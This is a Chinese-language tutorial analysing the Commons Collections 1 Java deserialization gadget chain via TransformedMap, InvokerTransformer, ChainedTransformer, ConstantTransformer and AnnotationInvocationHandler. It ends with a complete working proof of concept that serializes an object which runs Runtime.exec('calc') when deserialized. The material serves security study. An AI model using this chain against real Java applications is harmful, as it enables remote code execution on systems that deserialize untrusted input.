本文详细分析了Commons Collections 1链中TransformedMap的利用原理,包括Transformer接口、InvokerTransformer危险方法以及完整的利用链分析。
危险方法分析 1 2 3 4 5 public interface Transformer { public Object transform (Object input) ; }
Transformer 是一个接口类,提供了一个对象转换方法transform
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
此处超级危险,直接就是一个反射调用并且参数可控
利用链分析 1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
此处valueTransformer的值可控,可以通过decorate()方法传入参数
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
所以有
TransformedMap.checkSetValue()
->InvokerTransformer.transform()
AbstractInputCheckedMapDecorator.MapEntry.setValue() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
当Map被遍历时,可以使用setValue()方法
并且刚刚好TransformedMap继承了AbstractInputCheckedMapDecorator也就是当TransformedMap被遍历时刚刚好可以使用TransformedMap.setValue()触发parent.checkSetValue(value)
所以有:
遍历TransformedMap
->TransformedMap.setValue()
->TransformedMap.checkSetValue()
->InvokerTransformer.transform()
AnnotationInvocationHandler.readObject() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
此处刚刚好遍历了一个memberValues并且调用了memberValue.setValue刚刚好可以用来当作上述的链子的入口点
所以就有了
AnnotationInvocationHandler.readObject()
->遍历TransformedMap
->TransformedMap.setValue()
->TransformedMap.checkSetValue()
->InvokerTransformer.transform()
此时的代码写为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static void main (String[] args) throws Exception { Runtime r=Runtime.*getRuntime*(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> map=new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transformedmap=TransformedMap.*decorate*(map,null ,invokerTransformer); Class c=Class.*forName*("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); constructor.newInstance(Override.class,transformedmap); serialize(o); unserialize("C://java/CC1.txt" ); }
发现无法执行
利用链构造 问题一:Runtime无法被反序列化 Runtime类无法被序列化,但是刚刚好可以通过InvokerTransformer.transform()方法通过获取Runtime.class避开无法序列化并且执行
具体写法为:
1 2 3 4 5 Method getRuntime= (Method) new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(Runtime.class); Runtime r=(Runtime) new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(getRuntime); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r);
写出来发现太过繁琐,刚刚好Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:
1 2 3 4 5 6 public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
所以可以写成
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform(Runtime.class);
问题二:AnnotationInvocationHandler.readObject()中的if 1 2 3 4 5 6 7 8 9 10 11 12 13 14 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
此处,需要满足的为:memberValue中key的值和memberTypes的值相同
所以要设置map中的key值为value而创建的AnnotationInvocationHandler对象的第一个参数为Target.class刚刚好就可以满足这个要求
问题三:readObject中setValue方法的value不可控 1 2 3 4 memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name)));
此处value的值不可控,而根据调用链推导value的值直接决定最后InvokerTransformer.transform()操作的类
使用一个ConstantTransformer.transform()刚刚好可以解决这个问题
1 2 3 4 5 6 7 8 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
可以看到此方法的作用为传入一个值然后返回构造时传入的值
也就是说在构造时传入一个Runtime.class不管transform传入一个什么input都会返回一个Runtime.class刚刚好可以给ChainedTransformer.transform()递归调用,代码为:
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public class CC1_TransformedMap { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> Hashmap = new HashMap <>(); Hashmap.put("value" ,"world" ); Map<Object,Object> map = TransformedMap.decorate(Hashmap,null ,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,map); Serialize(o); UnSerialize("CC1_TransformedMap.bin" ); } public static void Serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("CC1_TransformedMap.bin" )); oos.writeObject(obj); } public static void UnSerialize (String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); ois.readObject(); } }